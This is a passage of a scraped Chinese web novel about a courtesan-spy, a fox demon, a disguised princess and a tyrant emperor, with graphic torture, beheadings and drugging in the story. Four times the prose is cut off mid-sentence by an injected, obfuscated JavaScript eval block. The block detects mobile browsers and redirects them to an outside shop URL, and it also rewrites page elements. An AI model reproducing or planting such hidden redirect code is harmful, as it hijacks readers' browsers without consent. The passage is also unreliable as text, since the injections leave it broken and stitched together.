“姑娘,姑娘!”好不容易一夜无梦,清晨却一片嘈杂。门外脚步匆匆,枝南刚揉醒双眼,发现枕边人已不见,她来不及搜寻,金翘便慌着神,直直推门进来。 “银柳死了!” 枝南骤一愣神,金翘急急忙忙地说了下去: “那吴家的一早便过来报丧,说是银柳夜半做贼,被拿住后羞愤投井了!” “怎会做贼?真是信口雌黄!”她起身下床,末了又想起些什么,“账本那事儿,可同她说过没有?” “未曾。” 接近吴禄,是要想法子取得吴家账本,这本是桑若的事儿,可她这两日被那探花郎耽搁着,也还未转交他人。 “妈妈呢?” “不在,似乎是昨个儿夜里走的。” 枝南沉思一二,又瞥见门边探头探脑的桑若,半晌,她才作声: “报官吧。” “威武——”县衙升堂,四旁围观了些瞧热闹的闲人。枝南一袭素衣,肃立在中间,面上无悲无喜,一双眸子不似平日在外,总带着媚意,却是静静凝视着县令桌上的惊堂木。 吴家经商,常过槿城,上下官员的打点自然不少,这王知县,定也是一个大头。 枝南幼年于宫中,偶尔也能听闻谁家父母官贪污腐败之事,这天底下诉冤的百姓,也并非人人都能求一个公道。 她并非天真,自也不为这公道而来。 “堂下何人?状告何事?” “告状人枝南,年十九,系槿城十二重花娘,状告吴家子吴禄致花娘银柳死亡之事。吴禄昨日邀银柳还家,今日却报银柳死亡,缘由不清不楚,疑点重重,实乃恃势欺人,因此上告。” “吴禄,可有此事?” 吴禄脸色发白,眼下还是青黑一片,听知县问话,身子颤颤巍巍地发着抖,直至身旁跟着的管事提醒,才回话道: “回大人,草民实乃冤枉啊!银柳夜半偷窃被家奴拿下,羞愤投井。草民使人打捞其尸身,谁料天干物燥,园中花草骤然走水,引燃了尸上白布,将这尸身都烧尽了!吴宅上下皆可作证啊!” “这......死者尸身已成灰烬,仵作也是不好验尸了。既如此——” “且慢!”眼看这知县就要搅浑水,枝南连忙出声,“尸身虽已成灰,又有何不能验?听闻大人同仵作配合多年,为槿城破了不少疑案,还请仵作一验,无论能否验出,小女子都将撤诉,不再纠缠。” 王知县摸了摸髭髯,点点头。事实上,他两方都不想得罪,直念着各打五十大板,令吴家赔偿些便罢了。毕竟这十二重也不简单,多少达官贵人混迹其中,若是她们吹吹枕边风...... 堂侧一老翁走出:“既成骨灰,便只能验毒,且只有毒深入骨髓,方能验出。” 衙役将骨灰捧了上来,老翁从箱子里取出瓶银白色的药水,挖出一小块骨灰,滴了上去。 原本灰白色的骨灰骤然成了墨黑一块,甚至冒出微弱的黑烟。 “大人,死者体内含毒。” 吴禄与管事的对视一眼,脸上满是难以置信。 “你可看清楚了?” “确是有毒无疑。此药水乃熔炼银器制成,如今银水发黑,骨灰必定含毒。” “既是下毒,那吴家从何处取毒,如何做案,还不赶紧交代!” 吴禄结结巴巴说不出话来,飘飘忽忽地瞧着地面。王县令等了许久,见他不作声,气性也上来了,正要唤人上刑,那吴管事突然连磕响头: “大人!一切皆为小人贪得无厌,偷取主家钱财,误被银柳姑娘发现,这才毒害死者,将其投井,后又毁尸灭迹,还请大人责罚!” 堂上听审的人皆皱了眉头,这番替罪羔羊倒也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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枝南听见了,但没有停住。她看见一抹藕粉色的身影正迈着台阶上来,一步一步,踏离了溶溶月色。 她们擦肩而过,桑若的眼睛还是肿着的,之前有小丫头替她去取冰块,被她拦了下来。 演戏要真些才好。 桑若朝她笑了笑。 枝南不露声色。 之前接待吴禄的,一直是桑若,能得知吴家从境外暗中引入秘药一事的,也只能是她。 昨日银柳之死甫一传来,桑若便将此事告知于她。 吴家引入的药,自然不都是合法的。吴禄此人胆子不大,但又下作卑鄙,桑若几次去吴家,都被吴禄以助兴为由喂药,不过她趁着不注意,吐了出来,她演技又一向逼真,也并未引起吴禄那小子怀疑。 这种药若是过量了,是会死人的。 那吴非一听引出了毒,虽知并非其药品所致,但也得防着官府去查吴家所运输的药品,只得以私人恩怨了结此案。 枝南垂了垂眸,她听见房间内传来几声抑制不住的呻吟。 桑若这小姑娘,向来是最怕疼的。 可她以为她是在为银柳伸冤。 死了一个人或两个人,与她又有什么关系呢?她不是救世主,也给不了所有人一个公道。 她这一个又一个谎,看似冠冕堂皇,颇有些初生牛犊不怕虎的心高气傲,实则不过是为了自己的私利罢了。 枝南回到房间,褪下衣物,金翘见了,没有多问,拿来了獾子油,替她抹在伤处,她轻轻一颤,捏紧了袖子。 窗外月亮圆得很,像是一面铜镜,晃得人眼睛疼。 楼下仍旧歌舞升平,但又有一阵不寻常的脚步声,急促地朝四楼跑去。 舞女的铃铛叮铃铃地响,清脆悦耳。 嗒,嗒,嗒。 枝南闭了眼,手指随着脚步声,轻轻敲着节拍。 “妈妈,吴禄死了!” 手指突然顿住,她睁开眼,望了望窗外,月色如水,倾泻进来,澄澈透亮。 但那又怎么样呢,这么多年了,十二重,也该露出马脚了。 5. 换脸 墨色晕染天幕,圆月高悬夜空。 凉风拂进窗内,吹向床边痉挛发颤的枝南。房内一片昏暗,无烛无灯,只剩月光清寒。 今日乃月圆之夜,芜深却未给她解药。 她偷来银柳的从香蝶,在触角上抹了毒,借帕中银柳的香味,将从香蝶引了过去。 她借毒蛊的毒坑了吴非,用香蛊的香害了吴禄。芜深如何也想不到,她曾经用来制约这些小丫头们的手段,反倒在今日也害了她一把。 十二重不能暴露于外人眼前。 这是每个姑娘自入院时便被告诫的规矩。 今日吴禄之死,无人能寻得证据,但这也足以将矛头对准十二重了。 枝南呕出一口鲜血,五脏六腑似遭万虫啮咬,又如邪火中烧,百筋犹如被刀子一根一根地挑着,直直拉紧,又崩开。 谢泽在床底趴了整日,好不容易才变回狐狸,正欲脱身离开,却见昨日将他玩弄于股掌的女子面色发白,额角冷汗连连。 这下拦不住他了。 谢泽沾沾自喜,迈着圆乎乎的爪子朝门外走,正好瞧见扎在门板上的银钗。 嘁,就这,还想拦住他?他腾起身来,叼下银钗,大摇大摆地推开门。 “噗!”又是一口鲜血,枝南余光瞥见谢泽离开,却也动不得什么。四肢百骸由热转寒,乍从火炉跳入冰窖,她咳嗽几声,扯过被褥将自己裹起来。 神色恍惚之时,仿佛又见那小狐狸移步回来,将肉爪子塞她手腕上。 她没忍住捏了一把,对面却又化作青衫公子:“啧,别动手动脚。” 谢泽按住她那只不安分的手,仔仔细细地查了脉。此人脉象上倒是看不出问题,但就那发黑的银钗以及如今的症状而言,定是中了毒。 何等毒物,竟能逃过狐族的眼睛?他收了手,指尖轻点枝南眉间,神识便随着游进其体内。 骨髓之中,若干黑虫四处攀爬啮咬,所过之处,皆留下道道毒素,竟是已布满了大半。 含毒之蛊......这倒麻烦了,不仅得清毒,还得想法将蛊虫引出。 枝南迷迷蒙蒙地瞧了他一眼,又被谢泽瞪了回去:“看什么看,以为本公子会救你吗?想都别想!” 他想起昨日枝南趾高气扬的样子便不爽。但见她已经说不出话来,还是从袖中掏出一小药瓶,取出一枚药丸:“此药仅能暂缓毒素蔓延,若要保命,还得寻下毒之人求得解药。” 他捏起枝南的下巴,将药丸用指尖推入口中,唇瓣柔软,他轻触一瞬,又似被电到一般,忙缩了回去。 “姐姐!”门外骤然传来清脆的女声,轻轻扣着门,半晌无人应答,便有着推门而入的趋势。 谢泽连忙化为狐狸,藏至床下。 枝南意识略微清醒了些,体内痛楚减轻了几分,她撑着床,回头见桑若走来。 “已至丑正,咱们该走了,”桑若见她面无血色,唇边染血,拈起手帕替她掖了掖嘴角,“妈妈说,姐姐得去师父那取药。” 枝南轻轻点头。两人皆心知肚明,这也是其中责罚。 “还请稍等片刻,我略微收拾一下。” 桑若才退,枝南便俯身将狐狸从床下抓了出来。 “回去寻你主子去,别再跟着我,”她从枕下取出把匕首,抵着狐狸脖颈,“听到没有!” 谢泽浑身上下的毛全炸了起来。毒还没解呢,便装模做样地威胁起他了! “嗷~”人在屋檐下,不得不低头。他连忙点头,生怕拿锃亮的刀锋一不小心滑至皮肉里。 “今日,多谢了。”枝南收起匕首,将手松开,见谢泽从窗边跳出,方才卸了力。 陈禹盛......也是个心眼子多的主,派了只狐狸循着香味追了她来,探查她的身份。 但当务之急,还是前往“地下”,领解药,也将罚受了。 十二重郊外还有一处老宅,多年来便在此训练姑娘们,向来是秦斯尘主理。 此番二人酿成大祸,被罚至“地下”,恐怕又是九死一生。 枝南并非第一次受罚,以往她为了逃跑,偷过解药,捏死过从香蝶,却总是被逮了回来。 断米绝食,百刑加身,她被捏碎过几次腕骨,左手留伤,时而使不上力。 因此,当秦斯尘伸手欲卸她胳膊时,她下意识一个腾身跃起,躲了过去。 “你动那人时想过现在没?” “想过,”枝南抬眸,身子里的毒蛊又发作起来,一阵一阵地疼,“但又不是第一次落在您手上了。” “你很有天赋。”他取过一盆碳火,用钳子夹起通红的木炭,一块块烙在她的背脊上。 “你轻功不比我弱,剑法也不乏剑意。”火红的木炭在冰肌上烧出血淋淋的红坑,皮肉焦香四溢,翻卷开来,露出内里的森森白骨。 枝南内外痛楚交加,早已无力哭喊,只余细细长长的呻吟,看似一阵平静,细听却是幽咽难堪。 秦斯尘似突然想起什么,瞧了眼窗外低垂的圆月,回身取了颗药丸,递给枝南。 枝南早已虚脱无力了,她伸不出手,只是躺在地面,抬头望着天花板,眼前一片朦胧的光斑,却是泪花溢了满脸。 她总想着活下来,活下来就好了,她还有太多事未做,她要踏平那仇人尸首,要为父母上坟柱香,要灭着囚笼魔窟般的十二重......为此,她苟且着,活了下来。 可八年了,活下来的结果是什么呢? 日复一日的陌生男人,走不出的高楼,反反复复出现又消失的疤痕...... 一切仿佛都没有尽头,明日茫茫,她看不清。 她真的很累,直到她第一次听说叶之淮的消息。 那是她在这世上唯一的亲人了。再度给了她活下去的理由。 秦斯尘掰开她的嘴,将药丸送了进去。 她咳嗽几声,眼前恢复了清明。 秦斯尘背手离开,若论武艺,枝南于十二重当居首位,如今也未到真正废她的时候。 “如何?”绣荷坊内,陈禹盛换上一袭青绿袄裙,眉如新月,唇若桃瓣,但她却扯了扯裙摆,并不十分习惯。 “原为十二重中人,枝南。” “十二重?怎地就牵扯上南知了......” “信中写的什么?” “不过是一团乱文,应是密语。” 人同时沉默,半晌,谢泽才开口:“阿琰,确定要同她合作?毕竟是他国,无异于与虎谋皮。” “已是放手一搏了,又何惧与虎谋皮?况且,你不也是他国?” 谢泽摸了摸鼻子:“毕竟我爹是你师父,到底还是不一样......” 齐琰理好衣裳,轻声道:“该走了。” 谢泽瞥了眼她,见她决心已定,终究还是没有再说些什么。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13367968|140931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 狐族有禁术,削骨挫皮,重塑五官,添换神韵,换脸于无形。 她本为齐蜀宁安郡主,父亲齐慎乃太子,母亲盛静熙为丞相嫡女,宫中还有一兄一弟,长兄齐琏,幼弟齐玜。 齐琏比她大了整整五岁,是母妃尚未嫁入东宫时便有了的,不过一直流落在外,几年后才接了回来。 母妃虽是将他视为己出,下人们却偶有偷偷嚼舌根子的,被她无意听中撞见,却也并未放在心上。 那齐琏看似沉默寡言,安分守己,谁料狼子野心,将东宫,乃至盛家,害了个彻底。 九岁那年,她前往外祖家避暑游玩,宫中却骤然传来皇爷爷病重的消息,传太子、太子妃及丞相入宫。 谁人都以为是临终托孤,传袭皇位,可他们没等到传位诏书,等到的的只是神武军,将盛府围了个全。 表兄盛知章带着她潜入园中池水,从池壁密道逃了出去。 密道常年阴暗潮湿,至小腿处积满了污水,她同盛知章徒步整夜,才行至郊外。 盛家历代年做官,观宦海沉浮无数,深知“常在河边走,哪有不湿鞋”的道理,早已在郊外为子孙留下了银两、户籍文书等必备物品。 翌日,老皇帝又念及爷孙情谊,到底还是赦免了她与齐玜。 可齐玜早已死在了东宫,尸骨未寒。 她不敢回去,她无法面对杀了她至亲的爷爷,也无法相信亲手呈上谋反证据的哥哥。 皇权斗争,暗流涌动,何其阴险,彼时的她,斗不过。 她也不可能舍弃带着她死里逃生的盛知章。 他们化名陈禹知与陈禹盛,成为无父无母,相依为命的孤儿。 后来,他们遇见了师父和师娘。 盛老先生曾对两人有恩,听闻此变故,他们便连夜赶了过来,寻到兄妹俩,将其带回枫禾。 彼时那儿还有年幼的谢泽。 两人骑着马,穿过山林,至枫禾国。 师娘早已等在那儿了。 “想好了?” 因为禁术,换脸师被困于秘境,而能进入秘境的,只有濒死之人。 九死一生,凶险万分。 但宫中眼线已传出确切的消息——齐琏会前往槿城,亲征。 九年前,他的上位名不正言不顺。一个连生母是谁都无人知晓的野种,一个亲手将父亲与嫡母推进地狱的不孝子,一个为了皇位不择手段的嗜血暴君,一个身有变色红瞳不详兆的怪物。 无论如何,他是不该得到皇位的。 可那些妄想与其争夺的,在老皇帝仅剩的半载残年中,死死伤伤。最后他似乎成了唯一的人选。 九年来,齐蜀在其治理下并无大过,却也无功,更何况其性情暴虐,喜怒无常,世家寒门多有人盼着后宫诞下皇子,好加以扶植,取而代之。 但后宫子嗣多数夭折,如今留下的,不过是一毫无母族家世的公主。 齐琰闭眼,脑海中浮现的竟是那夜血流成河,哭跑的孩童与无助的老婢。外祖母从床上爬起来,换上了最是荣耀的诰命服,然后被士兵一剑穿喉。 她必须接近齐琏,然后,一击毙命。 她取过师娘手中的白绫,缠在脖子上,笑道: “想好了。” 野风穿林,扬起她额前的发丝,杏眼纯真,但满是坚韧。 “我还没杀了他,怎么会死呢?” 6. 救人 再回到十二重,已是十日后了。 赵家早早将帖子送了过来,秦斯尘便提前五日把人放了回来,免得伤痕累累,惹人怀疑。 桑若倒是少遭了几日罪。她楼台哭诉负心人的事迹,已被有心之人传得沸沸扬扬,风言风语进了齐都,入了百官耳中。 探花郎何民时虽才干优长,但背信弃义,德行有亏,到底惹上了那群谏官,弹劾其与薛家的奏折成堆地送至皇上案前。 两日前,她便被县令遣人送去了齐都。 转眼间,便至了赵炟的生辰。 今年的生辰宴仍是大办,邀请了州府内各大有名有姓的人家。枝南上了马车,又让车夫拐个弯儿,进了条小巷。 “姐姐,这是......” “嘘,赵炟让我去接个人,这公子哥儿,不知又瞧上了哪位姑娘,偷偷摸摸地瞒着赵将军,让我来做这个媒人!” 她虽同金翘与车夫这般言说,实则却并非赵炟的意思。这接的人,自然是那日与陈禹盛所定好的。 小巷旁,立着位丫鬟装扮的姑娘,眉目平平,倒是易隐于众人间。她抬眸正对上枝南,手中仍是那只小狐狸,两人皆明了。 “敢问姑娘芳名?” “流颜。” “那便是了。” 原来这流颜,正是换脸后的齐琰,二人当着金翘的面,也不好多说些什么,只这狐狸瞪着骨碌碌的圆眼,不屑地瞥了瞥枝南。 入了赵府,齐琰便任由谢泽撒欢跑了,枝南倒是问了:“这狐狸若是被发现,也不怕遭人乱棒打死?” “他自有自保之法。” 齐琰已知谢泽身份暴露,见对方并无要挟之意,索性也不瞒着。只剩身后抱着琵琶的金翘一头雾水。 枝南献乐,一曲琵琶宛如仙音,嘈嘈切切珠玉落盘,细细长长流水潺潺。众宾客沉醉,皆若飘飘欲仙尔。 齐琰扫视宾客众人,那赵岚云落座于女眷前席,只默默饮食,旁人搭话,皆只摇头不语。 往日赵家并未多传这位三小姐,据说是犯了错的婢子所生,没几岁便被扔至庄子上去了。 偶有一次接回赵家,还是老太太寿辰,年纪大了想见见各位孙子孙女。齐琰在宴后正巧碰见过,五岁的小姑娘一个人在池边玩儿,逢人便搭话,还向她介绍手中的蛇宝宝,说是自己的朋友。 如今几年不见,怎地性子变得这般内敛? 齐琰有些拿不准主意了。 那日谢泽偷听的内容,结合宫中传来的消息,也能推出一二。赵家见皇后多年无子,想着再送人进宫去,只是也不好明目张胆,便钻了齐琏南征的这个空子。 赵家早年对赵岚云并不好,她也未必是真心实意想着诞下皇嗣,维护赵家的荣耀。 伴君如伴虎,更何况是齐琏这样的暴君。 只是若赵岚云已偏向赵家,她此番出击,怕是会暴露。 此时谢泽窝在赵岚云身后一盆盆栽下,也觉出几分怪异。 她身上,怎地会有妖的味道? 枝南一曲奏毕,退了下去。 她假装将齐琰送去赵炟房内,甩开金翘,向小丫鬟们打听了赵岚云的住处。 却是刚进院中,身后便传来人声。 “你们......在做什么?” 身后赫然是赵岚云。 确是那日绣荷坊遇着的姑娘。 二人正要说话,谢泽突然从一侧窜了出来,现出人身。 “你不是赵岚云,说吧,你是什么妖?” 赵岚云瞳孔骤然放大,身子竟软了下去:“你,你也是妖?” 她话说得磕磕绊绊,还时常怕自己说的不好,望望眼前几人。 她本是被赵岚云救下的一条小蛇,自那次寿宴后,赵岚云又被撵回了庄子上。恰巧她修得人形,只是无人指引,见的人又不多,便化得与赵岚云有七八分相像。 谁料四年后,齐都发了洪水,疫病肆虐,赵岚云染上后,没几日便香消玉殒了。 那赵家见长女进宫三载,仍无子嗣,心下便急了,想起庄子上还被扔了个女儿,便急急忙忙地接回来。 任她如何分辨,赵家只认定了她便是赵岚云,数年来日日浸药浴,饮药膳,只为将她养成个易生养的工具。 “我见过你,”齐琰握上她凉冰冰的手,“那日寿宴,她还同我说你是她的好朋友,我想留下来陪你,好吗?” 赵岚云听了,眼中竟泛起了泪花,她回握住齐琰,点点头,哽咽道:“好。” 到底是只未经世事的小妖,如此轻易便被骗了去。枝南冷眼瞧完这一幕,见事已办成,便起身告辞。 谢泽也从一旁溜了出去,将袖中信纸递给枝南。 “喏,回信,我办事,可靠谱得很。” 枝南闻言回身,发上流苏随之荡了起来,摇碎斑斑驳驳的树影,她眸中喜色难掩,颤着手接过书信。 “书呈皇姐惠鉴: 东风送暖,丽日舒和。 一别八载,思之甚切。皇姐信中所言,弟自将部署,绝不负皇姐拳拳之心。今与逆贼相抗,尚得一方安稳,不知皇姐近况如何,念念,还望团圆。 言难尽思,惟愿珍重。 弟叶之淮亲笔。” 双方书信来往皆用密语。枝南一字一句,读了许久,竟也觉双眼酸涩。 乡书已达,情思可慰。 谢泽等半天不见一句夸,又气鼓鼓地变作狐狸跑走了。 鸿雁长飞,孤影茕茕,一声雁鸣落下,扰乱了异乡人的心。 枝南犹豫数日,却仍决定留下来。 她难以断定叶之淮那处能否有人可解开身上的毒,也无法肯定在两军夹击中,西北府败不了。 做了这些年的间客,她最明白的,便是情报的重要性。 若是能入军中...... “碰!”窗户骤然发出一声巨响,似是有什么重物砸了下来。 几日来春雷滚滚,风雨潇潇,不时有雨珠打着窗子,哔哩啪啦,如锅中炒豆,却从未有这般动静。 枝南感到一丝不对劲儿,披上长衫,拿起枕下的匕首,朝窗子走去。 窗子碎了一地,雨滴伴着冷风斜斜灌了进来。她点起支蜡烛,赫然发现窗檐边紧紧搭着只手,那手青筋暴起,死死抓着窗框,大拇指上戴着一只帝王绿的翡翠扳指,在烛光下闪着幽暗的光泽。 这样的翡翠自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13367969|140931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然不是平常用得起的,幼年她在皇室,也只见过几块。她稳了稳心神,走近窗子,将烛火探向窗外。外面那人见她握着蜡烛的手,伸出宽大的手掌,捏紧了她的手腕。她被拉得一个趔趄,朝窗边滑去。 所幸,她稳住了身子,不至于跌出窗外。 只是烛火失手落向窗外,湮没于雨滴,明明灭灭,最后归于黑暗。 什么人,这般不知好歹,她转了转手腕,却不得几分放松。 “这是做什么?” 底下人听闻,将她攥得更紧了,一只纤薄的手腕承着小半个人的重量,青筋都爆了出来。 她向外略微探了头,看见一个束着高冠的男子,全身皆已被雨水打湿,玄色的衣袍紧紧贴着身体。他面色还略有潮红,手劲却愈发的大,攥得枝南手腕生疼。 “拉我上去。”男子的声音有些低哑,口吻却是不容置喙的命令。 “手放开。”她冷声道。 她左手负伤,根本拉不起一个成年男子,但也不敢暴露弱点。 男子微愣,却是更加用力了:“我再说一遍,拉我上去。” “那咱就这般耗着吧,”她的声音带着笑意,语气却又是一转,“看谁耗得过谁?” “哟,中药了吧,求人也没个求人的样子。” 她左手把玩着匕首,慢悠悠地将刀刃对准窗外:“你说,是先戳窗框上这只,还是戳我手上这只呢?” “你敢!”男子咬着牙,又用力将她往下拉了几分。 枝南半个身子全被拉得出了窗外,同那男子贴得格外近。雨水湿哒哒地淋在二人发间,凉丝丝的,二人的脖颈靠着,传来些痒意。 男子轻笑一声,似乎得意起自己的杰作。 怎料骤然寒光一闪,刀尖插进了那攥得紧紧的手背,温热的鲜血霎时喷出,同雨滴混了满。 “你看我敢不敢。” 男子气结,手上受伤,又泄了几分力,枝南直起身,居高临下,冷冷望着他。 “嘴过瘾了,身子总得吃点儿苦头。” 她轻而易举挣脱了束缚,转身离开。 “等等,”男子体内的药物愈发严重,力气也逐渐流失,况且那刺客也不知何时能寻着他,他一字一句,顿道,“求——你。” 枝南停住脚步,冷笑一声,回身将人拉了上来。 这位估计不是个简单的主,小小槿城哪容得下他这尊大佛。枝南也并非真想让他死,日后说不准有用得着他的地儿。 男子落地便虚脱着倒在地上,喘着粗气,撕扯着身上的衣服。 赵岚云......他真是记住这人了,赵家就这么急不可耐,非得将人朝床上送。 枝南走近,拿帕子替他包了手。 齐琏只觉有人靠近,暗香扑鼻,一双无骨细手如泥鳅一般,在他手上滑来滑去。 他埋进面前人怀中,鼻尖凑近鹅脂般的细颈,迫切嗅着那股暗香,手也攀上一握软腰,扯着那人的衣裳。 对方却一脚将他踹开,他来不及呼痛,一壶凉茶便浇了上来。 “不够还有。” 紧接着,两壶、三壶......最后连同金翘忘倒的洗脸水,都泼了上去。 7. 军营 枝南最后还是给了齐琏解药。 这类玩意儿,十二重里多得很,自是有法子应对。 本是意欲挟恩图报,谁料这男子夜半醒来,便跳窗先行了。 翌日清晨,十二重骤然涌入一群军爷,泱泱列了两队,团团将楼里围了起来。 为首的倒也眼生,只搁那桌上一坐,手下的兵便将房内的姑娘一个一个拖了出来。 他扫视一圈,又有些拿不准了,上面说是心肠狠毒的蛇蝎美人,眼角下有颗媚痣,可这上上下下四五十个姑娘,有痣的也有六七个,个个儿面貌不俗。他沉思一瞬,大手一挥:“那几个,眼角有痣的,全给带走!” 年纪轻些的已然慌张起来,枝南忖度思量,十二重向来不轻易得罪人,今儿个偏出了这阵仗,那为首的所指分明是她,想来也只能是她昨夜救的那人所致。 只不过看这情形,没见报恩的意思,倒像是来讨债的。枝南无法,只得混在几位姐妹中,被士兵蒙住眼,押了出去。 然枝南对槿城何其熟悉,光是听着铺子的吆喝,踏着一块块青石板,也能觉出方位。 这支队伍去的并非衙门,而是向郊外行进。 过了晌午,似乎才近了地儿。 耳边只传来些齐整的脚步声,伴着舞刀弄剑的锃锃碰撞。 枝南心中一番猜想,似乎明白了身处何处,她尚且来不及窃喜,前头又传来了交谈声。 “不是只有一个吗?怎地这么多人?” “这些女子皆同描述相符,恐怕还得请那位亲自过目了。” 突然,身后有人推了一把,她趔趄两步,似乎跨进一帐中。 姑娘们皆被压着跪下,方才一个个解了眼前的布条。 此处确乃军中营帐,枝南埋着头,视线所及,乃一双皂靴,上头的锦鸡纹为金线所绣,栩栩如生。 那皂靴步步朝前,一个一个扫过去,最后停至她面前,紧接着,一把长剑挑起她的下巴,她顺着抬头,正好瞧见眼前人。 剑眉星目,倒是个周正的长相,不过却是薄唇,无情脸。 正是昨夜那人。 “就是她了。” 剑尖划破脸上的肌肤,想必是故意的,细细的血珠从伤口渗出,粒粒滚落下来,在新荔鹅脂上增了抹妖媚。 其他姑娘被带着退了出去,远处几声长刀挥落,颗颗头颅离身坠地,骨碌碌滚了几圈后,怔怔地盯着自己的无头尸身。 齐琏凑上前去,舔过枝南的脸颊,柔软的舌尖将血珠勾入唇中,一股腥味在口中蔓延。 齐琏见她面不改色,剑锋一转,又划了一道。 “嗯?怎么不说话,昨夜不是还狂得很吗?” 她最厌恶威胁她的人,只是如今人在屋檐下,不得不低头。 本是还谋划着如何让这人将自己留在军中呢,谁知这厮不记着昨日救命之恩,对那一剑之仇倒是记得清楚。 “昨夜小女子不知贵人身份,多有冒犯,还望贵人大人有大量,多多海涵。” 一碗凉水泼了下来,浇了满头,水珠顺着发丝留至眼角,又同伤口相混,流下淡红的血水。 倒是牙呲必报。 枝南不语,任由齐琏发泄。不久,他终于玩累了,或是又觉无趣,挥手让人将其带了下去。 她被锁在一个临时搭建的简陋帐子下。 同被锁的还有赵岚云。 帐外士兵面面相立,帐内两人面面相觑。 “你......怎在此地?”面对一条真不怎么会说话的小蛇,终是枝南先开了口。 “下......药......”她一字一句,断断续续。 原来昨日赵家人探得齐琏的消息,便急着将人迎了回去,把赵岚云推进房间。赵岚云身边的婢女听从赵家人吩咐,朝齐琏茶水里加了催情散,本是一切顺了赵家的意,谁料夜半杀出几个刺客,将齐琏逼得雨夜出逃。 枝南了悟,那人竟是齐蜀皇帝,也怪不得军营上上下下这般听其号令。 只恨自己昨日没杀了他,还惹上了麻烦。 不过......跟在赵岚云身边的流颜呢? 二人正是相对无言,帐后突然鼓起一团,似是有什么东西朝里拱。 然后,一只圆溜溜、毛茸茸的脑袋,钻了进来。 帐内从两人面面相觑变成两人一狐大眼瞪小眼。 谢泽本是听闻赵岚云被抓,想着前去探探情况,看看是否需要搭救一番。 结果还看到了枝南。 这人虽还是一脸冷漠,但那两道划破的口子印于嫩白肌肤上,仍是被他看出了几分柔弱可怜。 枝南没听见他心中这些小九九,瞧见他,倒是想起些什么,打量起赵岚云来:“你俩既同为妖,为何他能变成狐狸四处闲逛,你就不能变回原形逃出去?” 什么叫四处闲逛!他每日忙得很,也是有正事儿要干的好吗!谢泽气鼓鼓地瞪了枝南一眼,转头看向赵岚云。 “我......我化形之时本是偶然,又无妖族长辈教导,也不知该如何变回去了......”说了这么一长串话,她倒是出了满脸的冷汗。 “早说呀,我可不在此嘛,有我这名师教习,敢打包票,一学便成!” 谢泽兴冲冲地跑至赵岚云前,变回人形,嘀嘀咕咕,窃窃私语。 枝南没兴趣看小狐狸开屏,闭目养神。 听了半晌,这小蛇妖凝重地点点头,闭上眼,心中默念着些什么。 谢泽期待地盯着她,然而......什么也没有发生。 “诶,你刚刚是不是哪儿做错了?再试一次?” 赵岚云尴尬地点点头,又试了一次。 仍是原样。 一次,两次,反正是没成功过。 “别误人子弟了。” 枝南开口,谢泽却不乐意了:“有本事你来教,嗯?” 这她倒真教不了。她掀开眼皮,见赵岚云正一脸自责,垂头不语。 “她,之前不是被赵家人弄了几年药吗?你们妖类讲不讲究什么灵根受损?” “那叫妖脉。”嘴上虽怼回去,身体倒是很认可,诚实地为赵岚云把了脉。 这一把倒是了不得了,确是妖脉严重受损。 谢泽心情复杂地看了她一眼,一下不知该怎么说。 外边突然传来声响,谢泽立马变回狐狸,蹿至一旁躲了起来。 一人进来送了饭食,盯着她俩吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13367970|140931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完。 随后,又进来两人,将枝南押了出去。 此刻军营正是热闹,众士兵皆围着一方擂台席地而坐,齐琏斜靠在椅子上,坐于正首,一双黑眸盯着她被人押上擂台。 她瞬间明白了这人想做些什么。 ————时隔多年,她也成了笼子里的蛐蛐儿。 人头攒动,起哄声一浪高过一浪。一士兵在众人簇拥下,上了台。 “也给这娘儿们拿把兵器呀,诶哟,忘了,怕是根本拿不动吧哈哈哈哈哈!整根绣花针上来?” 下面哄笑成一团,枝南冷眼,不知谁人真丢上一只针袋,里面各种大小的绣花针,应有尽有。 她顺着针袋瞧去,正对上齐琏戏谑的眸子,他倒是瞧了出好热闹。 枝南足尖点地,快步朝前方那士兵奔去,手指从袋中抽出根细长的针,扎向对方,对方手臂一抬,身腰一扭,本以为轻轻松松挡过一击,谁知枝南侧身一翻,绕至那人身后,一把将绣花针扎入后脖颈,那男子未曾料到她身手如此迅捷,霎时微愣,枝南趁此一脚勾向其后腿,瞬间人仰马翻,绣花针一触地面,被深深压入脖颈,整根没入肉中,那人躺着,也不知是死是活,直直僵在了地上。 